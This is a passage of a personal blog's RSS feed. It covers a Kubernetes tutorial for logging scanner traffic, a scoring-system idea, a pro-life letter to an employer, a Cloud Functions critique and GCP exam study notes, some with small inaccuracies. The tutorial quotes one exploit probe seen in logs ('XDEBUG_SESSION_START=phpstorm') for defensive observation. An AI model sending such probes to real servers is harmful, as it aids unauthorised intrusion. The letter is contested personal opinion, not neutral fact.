&lt;pre tabindex="0">&lt;code>docker run -p 80:80 registry.digitalocean.com/&amp;lt;registry-name&amp;gt;/scanner-collector
&lt;/code>&lt;/pre>&lt;h3 id="deploy-image-to-k8s">Deploy Image to k8s&lt;/h3>
&lt;p>Now, we&amp;rsquo;re ready to deploy our image to k8s.&lt;/p>
&lt;p>First, we create a new cluster with sane defaults:&lt;/p>
&lt;pre tabindex="0">&lt;code>doctl kubernetes cluster create &amp;lt;cluster-name&amp;gt; --tag scanner-collector --auto-upgrade=true --node-pool &amp;#34;name=mypool;count=2;auto-scale=true;min-nodes=1;max-nodes=3;tag=scanner-collector&amp;#34;
&lt;/code>&lt;/pre>&lt;p>(see more details on this command &lt;a href="https://docs.digitalocean.com/tutorials/build-and-deploy-your-first-image-to-your-first-cluster/#step-5-create-a-cluster">here&lt;/a>).&lt;/p>
&lt;p>Now, we need to give our cluster access to our private registry:&lt;/p>
&lt;pre tabindex="0">&lt;code>doctl registry kubernetes-manifest | kubectl apply -f -
kubectl patch serviceaccount default -p &amp;#39;{&amp;#34;imagePullSecrets&amp;#34;: [{&amp;#34;name&amp;#34;: &amp;#34;registry-&amp;lt;registry-name&amp;gt;&amp;#34;}]}&amp;#39;
&lt;/code>&lt;/pre>&lt;p>(see more details about these commands &lt;a href="https://docs.digitalocean.com/tutorials/build-and-deploy-your-first-image-to-your-first-cluster/#step-6-run-your-app-on-a-cluster">here&lt;/a>).&lt;/p>
&lt;p>Now for the fun part&amp;hellip; let&amp;rsquo;s deploy the collector:&lt;/p>
&lt;pre tabindex="0">&lt;code>kubectl create deployment scanner-collector --image=registry.digitalocean.com/&amp;lt;registry-name&amp;gt;/scanner-collector
&lt;/code>&lt;/pre>&lt;p>You can view the pods with:&lt;/p>
&lt;pre tabindex="0">&lt;code>kubectl get pods
&lt;/code>&lt;/pre>&lt;!-- Todo: include other interesting commands here... -->
&lt;p>Now, let&amp;rsquo;s add a load balancer so our service is publicly accessible:&lt;/p>
&lt;pre tabindex="0">&lt;code>kubectl expose deployment scanner-collector --type=LoadBalancer --port=80 --target-port=80
&lt;/code>&lt;/pre>&lt;p>This can take a few minutes to get created, but you can run this until the &lt;code>Status&lt;/code> field is &lt;code>active&lt;/code>:&lt;/p>
&lt;pre tabindex="0">&lt;code>doctl compute load-balancer list --format Name,Created,IP,Status
&lt;/code>&lt;/pre>&lt;p>Once &lt;code>Status&lt;/code> is &lt;code>active&lt;/code>, you should see an IP address which is the public IP for your deployment.&lt;/p>
&lt;p>You can visit that IP address in your browser and will see your app.&lt;/p>
&lt;h3 id="view-logs-showing-scanner-activity">View Logs Showing Scanner Activity&lt;/h3>
&lt;p>Now that we have a publicly accessible app, we can look at the logs to see if there&amp;rsquo;s anyone scanning our IP for vulnerabilities or exploits.&lt;/p>
&lt;p>I recommend running:&lt;/p>
&lt;pre tabindex="0">&lt;code>kubectl get pods
&lt;/code>&lt;/pre>&lt;p>and then, using a pod name from the output from the last command:&lt;/p>
&lt;pre tabindex="0">&lt;code>kubectl logs &amp;lt;pod-name&amp;gt;
&lt;/code>&lt;/pre>&lt;p>This will show some odd traffic like a request to &lt;code>/?XDEBUG_SESSION_START=phpstorm&lt;/code> trying to take advantage of &lt;a href="https://www.exploit-db.com/ghdb/6763">this&lt;/a> vulnerability.&lt;/p>
&lt;p>Enjoy and &lt;a href="mailto:11floyd@proton.me">let me know&lt;/a> if you find anything particularly interesting!&lt;/p></description></item><item><title>Orders of Magnitude Scoring System</title><link>https://hightower.space/posts/orders-of-mag-scoring-system/</link><pubDate>Sun, 17 Jul 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/orders-of-mag-scoring-system/</guid><description>&lt;p>While this idea is original to me, I am confident I am not the first person to come up with this idea.
I have not, however, been able to find this idea mentioned anywhere (after a cursory search).&lt;/p>
&lt;h2 id="the-use-case">The Use-Case&lt;/h2>
&lt;p>There are cases in which using counting numbers for a scoring system does not work because the difference between n and n+1
are not sufficiently differentiated. For example, in a scoring system that seeks to score books based on the number of years one
would wait before reading a book again, the difference between waiting 6 versus 7 years to read a book again is trivial making it
hard for scoring a book to choose a reasonable number.&lt;/p>
&lt;h2 id="the-scoring-system">The Scoring System&lt;/h2>
&lt;p>My &amp;ldquo;Orders of Magnitude Scoring System&amp;rdquo; requires that the n+1-th score be an order of magnitude larger than the n-th score.
Perhaps the simplest such system for our base-ten minds uses the number 10 as the base.
The possible scores of this system will be:&lt;/p>
&lt;ul>
&lt;li>1 (10^0)&lt;/li>
&lt;li>10 (10^1)&lt;/li>
&lt;li>100 (10^2)&lt;/li>
&lt;li>1000 (10^3) &amp;hellip;&lt;/li>
&lt;/ul>
&lt;p>Thinking back to our example about a scoring system for books in which one provides the number of years one
would wait before reading a book again, I think it is easy to see how this scoring system is easier to use as it avoids the challenge
of differentiating adjacent values (e.g. 6 versus 7 years).&lt;/p>
&lt;p>Another use case where I&amp;rsquo;ve found this system helpful is capturing how long one estimates a task to take.
When making such estimates, it is hard to estimate the difference between 6 or 7 hours (or 50 vs. 60 hours),
but using scores which are orders of magnitude different from one another make this task much easier
(assuming you can tolerate the loss of precision when having to round to the nearest option).
I use an order of magnitude system to estimate time cost for issues in the
&lt;a href="https://github.com/fhightower/ioc-finder/labels?q=time">ioc-finder&lt;/a> project, for example.&lt;/p>
&lt;h2 id="similar-systems">Similar Systems&lt;/h2>
&lt;p>This kind of scoring system is a subset of what could be called &amp;ldquo;Exponentially Scaled Scoring Systems&amp;rdquo; where the n+1-th score must be exponentially larger than the n-th score.&lt;/p></description></item><item><title>Concerns Over Businesses Reimbursing Travel to get Abortions</title><link>https://hightower.space/posts/letter-on-abortion-policy/</link><pubDate>Tue, 12 Jul 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/letter-on-abortion-policy/</guid><description>&lt;h2 id="background">Background&lt;/h2>
&lt;p>Below is an anonymized version of a letter I shared with my employer to clarify their position and seek a less partisan policy. All references to my company have been replaced with &amp;ldquo;Acme&amp;rdquo; and any edited portions are surrounded with [square brackets].&lt;/p>
&lt;h2 id="my-letter">My Letter&lt;/h2>
&lt;p>In this document, I express questions and concerns about the “New Reproductive Rights Travel Benefit”[1] in the form of two contradictions. Both contradictions exist between the decision to reimburse travel to abortion and the original announcement’s statement: “We at [Acme] have worked to create a welcoming space for all and believe in our guiding principles of Respecting Others”. I believe these two contradictions demonstrate that this partisan policy will not create a “welcoming space for all” and will have the unintended consequence of excluding certain groups from access to a “welcoming space” and respect.&lt;/p>
&lt;p>Because abortion[2] is such an immensely important and impactful matter, affecting the lives of millions of mothers and the unborn (not to mention their families), I consider it necessary to express these contradictions with the hope of clarifying [Acme]’s position on these issues and seeking a less partisan policy which is more inclusive and respectful of diverse ideologies and people.&lt;/p>
&lt;h3 id="contradiction-1-regarding-pro-life-employees">Contradiction 1: Regarding Pro-Life Employees&lt;/h3>
&lt;p>In contradiction of the work to &amp;ldquo;create a welcoming space for all&amp;rdquo; and &amp;ldquo;our guiding principles of Respecting Others&amp;rdquo;, this policy does not create a welcoming space for pro-life employees nor does it respect them and their convictions. By reimbursing travel to get an abortion, [Acme] is effectively requiring that all employees who make the company profitable (hopefully all of them), facilitate the procurement of abortions - a behavior which is, by definition, antithetical to the moral convictions of pro-life employees. I am concerned that this policy, far from creating a &amp;ldquo;welcoming space for all&amp;rdquo;, forces many current and potential pro-life employees to choose between funding something they believe is morally wrong or leaving [Acme]. Is there a new policy we could enact which will create a more welcoming space for pro-life employees and does not corner them into this difficult dilemma?&lt;/p>
&lt;h3 id="contradiction-2-regarding-unborn-human-life-in-a-womb">Contradiction 2: Regarding Unborn, Human Life in a Womb&lt;/h3>
&lt;p>The second contradiction of the work to &amp;ldquo;create a welcoming space for all&amp;rdquo; and &amp;ldquo;our guiding principles of Respecting Others&amp;rdquo; is that this policy does not create a &amp;ldquo;welcoming space&amp;rdquo; for unborn life in a womb nor does it respect that life - it facilitates the killing of it. I recognize that some of my pro-abortion colleagues may object to this representation and I sincerely want to learn how they represent what happens during an abortion. That being said, until convinced otherwise, I take it as a biological fact that a successful abortion kills an unborn life. As such, there is a contradiction in claiming this policy will help &amp;ldquo;create a welcoming space for all&amp;rdquo; and respect others; it only respects those outside of the womb and guarantees no welcoming space and respect for life inside the womb.&lt;/p>
&lt;p>The only way I know of to resolve this contradiction is to presuppose that unborn life in a womb is not inherently worthy of receiving a &amp;ldquo;welcoming space&amp;rdquo; and respect. Is [Acme] making this presupposition? If so, on what basis and by what authority does [Acme] affirm that life in a womb is not inherently worthy of a &amp;ldquo;welcoming space&amp;rdquo; and respect? Is [Acme], an e-commerce company, qualified to speak authoritatively and definitively on a contentious bioethical subject which is still being debated across the United States and in our Federal Government?&lt;/p>
&lt;p>If my suggested resolution of this contradiction is inaccurate, please explain how [Acme] resolves this contradiction. If [Acme] believes that unborn life in a womb is inherently worthy of receiving a &amp;ldquo;welcoming space&amp;rdquo; and respect, how can [Acme] justify this policy which deprives the unborn life of that which is supposedly inherent to it?&lt;/p>
&lt;h3 id="conclusion">Conclusion&lt;/h3>
&lt;p>In the stated mission to &amp;ldquo;create a welcoming space for all&amp;rdquo; (emphasis added) and respect others, [Acme] has defined the terms &amp;ldquo;all&amp;rdquo; and &amp;ldquo;others&amp;rdquo; so narrowly that I fear these statements are declarations of partisan support rather than inclusion and respect for diverse ideologies and individuals. I am concerned that the work to &amp;ldquo;create a welcoming space for all&amp;rdquo; (emphasis added) only applies to employees who are pro-abortion and family members outside of a womb. Similarly, when applying the principle of respecting others, [Acme] effectively excludes pro-life employees and unborn human lives inside a womb from the ‘others’ deemed worthy of respect.&lt;/p>
&lt;p>I know this document will be very difficult to read for many, but I believe this moment requires candor and clarity on this immensely consequential topic. We must be willing to have hard conversations if we are to form a just, diverse, and inclusive company in which no one (whether inside or outside a womb) is excluded from the respect that is inherently due them and the welcoming space we seek to provide.&lt;/p>
&lt;p>Respectfully,&lt;/p>
&lt;p>[Floyd]&lt;/p>
&lt;h2 id="footnotes">Footnotes&lt;/h2>
&lt;p>[1] - In the original document, there is a link to the announcement here, but this was removed as the announcement I&amp;rsquo;m referencing was made internally.&lt;/p>
&lt;p>[2] - In the original document, I have a footnote here noting that, when I refer to &amp;ldquo;abortion&amp;rdquo; or &amp;ldquo;abortions&amp;rdquo;, I am referring to abortions &lt;em>without&lt;/em> medical necessity; that is, abortions which are &lt;em>not&lt;/em> necessary to save the mother’s life. I note that there I am not aware of any states with restrictions on abortions for medical necessity and, therefore, assume that [Acme]’s policy of reimbursing travel to get abortions will primarily be used for abortions without medical necessity.&lt;/p></description></item><item><title>Frustrations When Using Cloud Functions</title><link>https://hightower.space/posts/cloud-functions-non-starter/</link><pubDate>Thu, 05 May 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/cloud-functions-non-starter/</guid><description>&lt;p>I&amp;rsquo;ve been &lt;a href="https://hightower.space/posts/gcp-serverless-compute-options/">examining&lt;/a> Google Cloud&amp;rsquo;s serverless compute options.&lt;/p>
&lt;p>I&amp;rsquo;ve been trying to use Cloud Functions, but have found them extrodinarily frustrating.&lt;/p>
&lt;p>My problems are:&lt;/p>
&lt;ol>
&lt;li>Slow feedback loop
&lt;ul>
&lt;li>Slow feedback loops kill a dev&amp;rsquo;s effectiveness&amp;hellip; when deploying a new cloud function, it takes ≈ 30-40 seconds before one knows if something has failed - this is a &lt;em>long&lt;/em> time to get feedback on a change&lt;/li>
&lt;li>One really can&amp;rsquo;t reasonably use cloud functions in the GUI - one would have to develop and test locally to make any workflow possible&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>A &lt;em>ton&lt;/em> of clicking just to see what has gone wrong
&lt;ul>
&lt;li>If something does go wrong, (after waiting the 30-40 seconds to see that it has failed), one then has to click through a number of tabs/pages to view the logs&amp;hellip; this is really frustrating for devs who are used to not having to take their hands off the keyboard&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Odd UX when deploy fails
&lt;ul>
&lt;li>When a deploy fails and one tries to edit the function, one will find that the function is &lt;em>not&lt;/em> the most recent version of the function&amp;hellip; it&amp;rsquo;s the &lt;em>previously deployed&lt;/em> version of the function! So, if I write ten lines of code in a function, try to deploy it, and the deploy fails, I have lost the ten lines I added b/c the deploy failed!&lt;/li>
&lt;li>This, in my opinion, violates the &lt;a href="https://en.wikipedia.org/wiki/Principle_of_least_astonishment">principle of least astonishment&lt;/a> and makes working with functions in the GUI absolutely impractical&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;p>All in all, I was disappointed to find Cloud Functions frustrating and largely impractical.
It is marketed as an &amp;rsquo;easy&amp;rsquo;, &amp;lsquo;simple&amp;rsquo; way to run code, but I&amp;rsquo;ve found it is more hassle unless one is using docker to develop locally and deploying to a cloud function by pushing to a git repo.&lt;/p></description></item><item><title>GCP Databases in a Nutshell</title><link>https://hightower.space/posts/gcp-pde-database-notes/</link><pubDate>Wed, 04 May 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/gcp-pde-database-notes/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>This post is part of a series of posts with notes as I&amp;rsquo;m studying for &lt;a href="https://cloud.google.com/certification/data-engineer">Google&amp;rsquo;s Professional Data Engineer Certification&lt;/a>.&lt;/p>
&lt;p>This particular post covers Cloud Composer in a nutshell.&lt;/p>
&lt;h2 id="disclaimer">Disclaimer&lt;/h2>
&lt;p>Please read &lt;a href="https://hightower.space/posts/gcp-notes-disclaimer/">this disclaimer&lt;/a>.&lt;/p>
&lt;h2 id="databases">Databases&lt;/h2>
&lt;h3 id="grouped-by-management-model">Grouped by Management Model&lt;/h3>
&lt;h4 id="managed-services">Managed Services&lt;/h4>
&lt;ul>
&lt;li>Cloud SQL&lt;/li>
&lt;li>Cloud Spanner&lt;/li>
&lt;li>Cloud Bigtable&lt;/li>
&lt;/ul>
&lt;h4 id="serverless-services">Serverless Services&lt;/h4>
&lt;ul>
&lt;li>Cloud Storage&lt;/li>
&lt;li>Firestore&lt;/li>
&lt;/ul>
&lt;h3 id="grouped-by-sizerelationality">Grouped by Size/Relationality&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Size of Data:&lt;/th>
&lt;th>Small&lt;/th>
&lt;th>Large&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Relational&lt;/td>
&lt;td>Cloud SQL&lt;/td>
&lt;td>Spanner*&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Non-Relational&lt;/td>
&lt;td>Firestore**&lt;/td>
&lt;td>Bigtable&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>* The option of using processing units as the means of calculating cost for Spanner makes it a better option for smaller solutions
** Firestore can handle large amounts of data too when provisioned correctly, but it &lt;em>can&lt;/em> be used for small applications where-as Bigtable really isn&amp;rsquo;t/shouldn&amp;rsquo;t be used for small use-cases&lt;/p>
&lt;h3 id="grouped-by-proprietary-ness">Grouped by Proprietary-ness&lt;/h3>
&lt;h4 id="google-proprietary">Google Proprietary&lt;/h4>
&lt;ul>
&lt;li>Spanner&lt;/li>
&lt;li>Firestore&lt;/li>
&lt;/ul>
&lt;h4 id="generic">Generic&lt;/h4>
&lt;p>(data in these systems could be easily transfered on-prem. or to a diff. cloud provider)&lt;/p>
&lt;ul>
&lt;li>SQL&lt;/li>
&lt;li>Bigtable (h-base compatible)&lt;/li>
&lt;/ul>
&lt;h3 id="transaction-support">Transaction Support&lt;/h3>
&lt;h4 id="acid-transactions">ACID Transactions&lt;/h4>
&lt;ul>
&lt;li>SQL&lt;/li>
&lt;li>Spanner&lt;/li>
&lt;li>Firestore&lt;/li>
&lt;/ul>
&lt;h4 id="row-level-transactions">Row-Level Transactions&lt;/h4>
&lt;ul>
&lt;li>Bigtable&lt;/li>
&lt;/ul></description></item><item><title>ML for the GCP PDE Exam</title><link>https://hightower.space/posts/gcp-pde-ml-notes/</link><pubDate>Wed, 04 May 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/gcp-pde-ml-notes/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>This post is part of a series of posts with notes as I&amp;rsquo;m studying for &lt;a href="https://cloud.google.com/certification/data-engineer">Google&amp;rsquo;s Professional Data Engineer Certification&lt;/a>.&lt;/p>
&lt;p>This particular post covers ML topics.&lt;/p>
&lt;h2 id="disclaimer">Disclaimer&lt;/h2>
&lt;p>Please read &lt;a href="https://hightower.space/posts/gcp-notes-disclaimer/">this disclaimer&lt;/a>.&lt;/p>
&lt;h2 id="key-concepts">Key Concepts&lt;/h2>
&lt;ul>
&lt;li>L1 vs. L2 regression:
&lt;ul>
&lt;li>L1 estimates the &lt;em>median&lt;/em> of the data using absolute value
&lt;ul>
&lt;li>Reduces low-value features&lt;/li>
&lt;li>Robust to outliers&lt;/li>
&lt;li>Good when only certain features contribute to success of model&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>L2 estimates the &lt;em>mean&lt;/em> of the data to avoid overfitting
&lt;ul>
&lt;li>Not recommended for feature selection&lt;/li>
&lt;li>Good when all features contribute relatively equally to the success of a model&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>TensorFlow
&lt;ul>
&lt;li>Know how TensorFlow can be deployed (also, cost vs. value)
&lt;ul>
&lt;li>CPUs, GPUs, TPUs&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>BQ ML
&lt;ul>
&lt;li>Understand the basic flow when using BQ ML:&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Vertex AI
&lt;ul>
&lt;li>Create computation graph and training app&lt;/li>
&lt;li>Package app&lt;/li>
&lt;li>Start Vertex AI job to run packaged app&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>Dataflow in a Nutshell</title><link>https://hightower.space/posts/dataflow-notes/</link><pubDate>Tue, 03 May 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/dataflow-notes/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>This post is part of a series of posts with notes as I&amp;rsquo;m studying for &lt;a href="https://cloud.google.com/certification/data-engineer">Google&amp;rsquo;s Professional Data Engineer Certification&lt;/a>.&lt;/p>
&lt;p>This particular post covers Dataflow in a nutshell.&lt;/p>
&lt;h2 id="disclaimer">Disclaimer&lt;/h2>
&lt;p>Please read &lt;a href="https://hightower.space/posts/gcp-notes-disclaimer/">this disclaimer&lt;/a>.&lt;/p>
&lt;h2 id="dataflow">Dataflow&lt;/h2>
&lt;ul>
&lt;li>Serverless&lt;/li>
&lt;li>Wraps apache beam
&lt;ul>
&lt;li>Handles batch &lt;em>and&lt;/em> streaming data&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Typically, more effecient scaling than Dataproc
&lt;ul>
&lt;li>Therefore, it&amp;rsquo;s typically cheaper than Dataproc&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Used internally at Google
&lt;ul>
&lt;li>Improved by Google over time&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Know about &lt;a href="https://cloud.google.com/dataflow/docs/concepts/streaming-pipelines#windows">windowing&lt;/a>
&lt;ul>
&lt;li>&lt;code>fixed&lt;/code> window in java/python ≈ &lt;code>tumbling&lt;/code> in SQL&lt;/li>
&lt;li>&lt;code>sliding&lt;/code> ≈ &lt;code>hoping&lt;/code> in SQL&lt;/li>
&lt;li>session (is the same for both SQL and java/python)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Know about &lt;a href="https://cloud.google.com/dataflow/docs/concepts/streaming-pipelines#watermarks">watermarks&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>GCP PDE Exam Principles</title><link>https://hightower.space/posts/gcp-pde-exam-principles/</link><pubDate>Tue, 03 May 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/gcp-pde-exam-principles/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>This is a post in a series recording some notes as I&amp;rsquo;m studying for &lt;a href="https://cloud.google.com/certification/data-engineer">Google&amp;rsquo;s Professional Data Engineer Certification&lt;/a>.&lt;/p>
&lt;p>In this post, I provide some principles I am keeping in mind as I prepare for the exam.&lt;/p>
&lt;h2 id="disclaimer">Disclaimer&lt;/h2>
&lt;p>Please read &lt;a href="https://hightower.space/posts/gcp-notes-disclaimer/">this disclaimer&lt;/a>.&lt;/p>
&lt;h2 id="gcp-pde-exam-principles">GCP PDE Exam Principles&lt;/h2>
&lt;ul>
&lt;li>[security] Follow the &lt;a href="https://en.wikipedia.org/wiki/Principle_of_least_privilege">Principle of Least Privilege&lt;/a>&lt;/li>
&lt;li>When between multiple options, the simplest answer is probably right&lt;/li>
&lt;li>When between multiple options, the cheapest answer is probably right&lt;/li>
&lt;li>An answer&amp;rsquo;s complexity is likely proporitional to the questions&amp;rsquo; complexity
&lt;ul>
&lt;li>For example, simple questions like: &amp;ldquo;What is your favorite colour&amp;rdquo; probably has a simple answer&lt;/li>
&lt;li>A more complex question (e.g. &amp;ldquo;What is the Air-Speed Velocity of an Unladen Swallow on a Tuesday in a head-wind of 30 kmph and 70% relative humidity&amp;rdquo;) probably requires a more complex answer&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When creating Bigtable row keys, the key focus is to avoid hot spots
&lt;ul>
&lt;li>DON&amp;rsquo;T USE timestamp as start of rowkey for bigtable&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Prefer pre-trained ML models to custom-trained
&lt;ul>
&lt;li>These solutions are typically good enough for basic use-cases and can be implemented more quickly&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>[security] Assign roles to groups and add users to groups (don&amp;rsquo;t apply roles to users)&lt;/li>
&lt;li>If something is self-joined and running into problems when scaling, the answer likely involves normalizing&lt;/li>
&lt;li>If question mentions &amp;ldquo;realtime&amp;rdquo; and pub/sub, it probably requires a &lt;em>push&lt;/em> from pub/sub rather than a pull&lt;/li>
&lt;li>[BQ] W/ multiple, wildcard tables, &lt;em>partitioning&lt;/em> is best (over sharding)&lt;/li>
&lt;li>Typically, serverless/cloud-native solution is favorable over managed services or dedicated machines/VMs&lt;/li>
&lt;li>HDFS files should be stored in GCS&lt;/li>
&lt;li>It is not uncommon for multiple services to be used together (b/c each service is often optimized to do one thing very well)&lt;/li>
&lt;li>If the question involves &amp;ldquo;ANSI SQL&amp;rdquo;, the answer probably involves BigQuery&lt;/li>
&lt;/ul></description></item><item><title>GCP PDE Recipies</title><link>https://hightower.space/posts/gcp-pde-recipies/</link><pubDate>Tue, 03 May 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/gcp-pde-recipies/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>This is a post in a series recording some notes as I&amp;rsquo;m studying for &lt;a href="https://cloud.google.com/certification/data-engineer">Google&amp;rsquo;s Professional Data Engineer Certification&lt;/a>.&lt;/p>
&lt;p>In this post, I provide some common recipies which are commonly used in Google Cloud.&lt;/p>
&lt;h2 id="disclaimer">Disclaimer&lt;/h2>
&lt;p>Please read &lt;a href="https://hightower.space/posts/gcp-notes-disclaimer/">this disclaimer&lt;/a>.&lt;/p>
&lt;h2 id="gcp-pde-recipies">GCP PDE Recipies&lt;/h2>
&lt;h3 id="the-classic">The Classic&lt;/h3>
&lt;p>Pub/Sub -&amp;gt; Dataflow -&amp;gt; BQ (batch inserts)&lt;/p>
&lt;p>Variations:&lt;/p>
&lt;ul>
&lt;li>Pub/Sub -&amp;gt; Dataflow -&amp;gt; BQ (streaming inserts)&lt;/li>
&lt;li>Pub/Sub -&amp;gt; Dataflow -&amp;gt; Bigtable -&amp;gt; BQ (querying Bigtable using federated query)
&lt;ul>
&lt;li>For use-cases which require analytics &lt;em>and&lt;/em> the low-latency afforded by Bigtable&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="uploading-data-to-google-cloud">Uploading Data to Google Cloud&lt;/h3>
&lt;ul>
&lt;li>gsutil
&lt;ul>
&lt;li>on-prem. (if practical based on network bandwidth and data size)&lt;/li>
&lt;li>Good for &amp;lt; 1TB&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Storage Transfer Service
&lt;ul>
&lt;li>From another cloud/on-prem. data center w/ sufficient bandwidth&lt;/li>
&lt;li>Good for &amp;gt; 1TB&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Transfer Appliance
&lt;ul>
&lt;li>Physical hard-drive you fill and send back&lt;/li>
&lt;li>For large amounts of data on-prem. and/or in a low-bandwidth location which makes gsutil impractical&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>BigQuery in a Nutshell</title><link>https://hightower.space/posts/bigquery-notes/</link><pubDate>Fri, 29 Apr 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/bigquery-notes/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>This post is part of a series of posts with notes as I&amp;rsquo;m studying for &lt;a href="https://cloud.google.com/certification/data-engineer">Google&amp;rsquo;s Professional Data Engineer Certification&lt;/a>.&lt;/p>
&lt;p>This particular post covers BigQuery in a nutshell.&lt;/p>
&lt;h2 id="disclaimer">Disclaimer&lt;/h2>
&lt;p>Please read &lt;a href="https://hightower.space/posts/gcp-notes-disclaimer/">this disclaimer&lt;/a>.&lt;/p>
&lt;h2 id="bigquery">BigQuery&lt;/h2>
&lt;ul>
&lt;li>Fully managed, petabyte-scale data warehouse/analysis service&lt;/li>
&lt;li>Has two components:
&lt;ul>
&lt;li>Storage (built on &amp;ldquo;Colossus&amp;rdquo;)&lt;/li>
&lt;li>Query/Processing Engine&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Good for &lt;a href="https://en.wikipedia.org/wiki/Federated_search">federated searching&lt;/a>&lt;/li>
&lt;li>Column-based storage&lt;/li>
&lt;li>Allows &lt;a href="https://blog.ansi.org/2018/10/sql-standard-iso-iec-9075-2016-ansi-x3-135/">ANSI SQL&lt;/a> compliant queries&lt;/li>
&lt;li>Includes good support for:
&lt;ul>
&lt;li>Building (basic) ML models
&lt;ul>
&lt;li>Logistic regression - classifying categories&lt;/li>
&lt;li>Linear regression - forcasting # values&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>GeoViz&lt;/li>
&lt;li>Structs
&lt;ul>
&lt;li>Allows horizontal storage&lt;/li>
&lt;li>Look like: &lt;code>event.status&lt;/code>&lt;/li>
&lt;li>Identifiable where type=&lt;code>RECORD&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Arrays
&lt;ul>
&lt;li>Allows vertical storage&lt;/li>
&lt;li>Identifiable where mode=&lt;code>REPEATED&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Analytic window functions using &lt;code>LAG&lt;/code>&lt;/li>
&lt;li>Named subqueries using &lt;code>WITH&lt;/code>
&lt;ul>
&lt;li>Pre-processes data which can be cached for future queries&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Optimization:
&lt;ul>
&lt;li>Partition tables
&lt;ul>
&lt;li>Group data into sections allowing BQ to scan less data&lt;/li>
&lt;li>Partition pruning occurs &lt;em>before&lt;/em> the query is run, allowing you to know costs up-front&lt;/li>
&lt;li>Common partition source is dates/times&lt;/li>
&lt;li>≈ an index row wrapping the entire table&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Clustering
&lt;ul>
&lt;li>Can be done against multiple columns&lt;/li>
&lt;li>Clustering is applied &lt;em>while&lt;/em> the query is run, so you don&amp;rsquo;t know how much the query will cost and how much cluster will save you&lt;/li>
&lt;li>More granular than partitioning&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Typically populated in batch inserts
&lt;ul>
&lt;li>Offers streaming inserts to allow smaller queries, run more often, w/ lower latency, and at a higher cost&lt;/li>
&lt;li>Max streaming capability ≈ 100,000 rows/table/sec.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Offers access control at project, dataset, and table/view levels&lt;/li>
&lt;/ul>
&lt;h2 id="similar-systems">Similar Systems&lt;/h2>
&lt;h3 id="bigquery-vs-bigtable">BigQuery vs. BigTable&lt;/h3>
&lt;p>Among many other differences:&lt;/p>
&lt;p>BigTable is designed for long, narrow tables.&lt;/p>
&lt;p>BigQuery typically has short(er), wide(r) tables.&lt;/p></description></item><item><title>Bigtable in a Nutshell</title><link>https://hightower.space/posts/bigtable-notes/</link><pubDate>Fri, 29 Apr 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/bigtable-notes/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>This post is part of a series of posts with notes as I&amp;rsquo;m studying for &lt;a href="https://cloud.google.com/certification/data-engineer">Google&amp;rsquo;s Professional Data Engineer Certification&lt;/a>.&lt;/p>
&lt;p>This particular post covers Bigtable in a nutshell.&lt;/p>
&lt;h2 id="disclaimer">Disclaimer&lt;/h2>
&lt;p>Please read &lt;a href="https://hightower.space/posts/gcp-notes-disclaimer/">this disclaimer&lt;/a>.&lt;/p>
&lt;h2 id="bigtable">Bigtable&lt;/h2>
&lt;ul>
&lt;li>h-base compliant&lt;/li>
&lt;li>Requires configuration and management of nodes&lt;/li>
&lt;li>Designing/choosing a good row-key (index) is &lt;em>critical&lt;/em> to avoiding hot-spots (where some nodes have significantly more to process than others)
&lt;ul>
&lt;li>Rows are sorted lexigraphically by row-key&lt;/li>
&lt;li>Generally a long, compound key (e.g. &lt;code>{id}#{source}#{timestamp}&lt;/code>)&lt;/li>
&lt;li>Order of a compound key matters!&lt;/li>
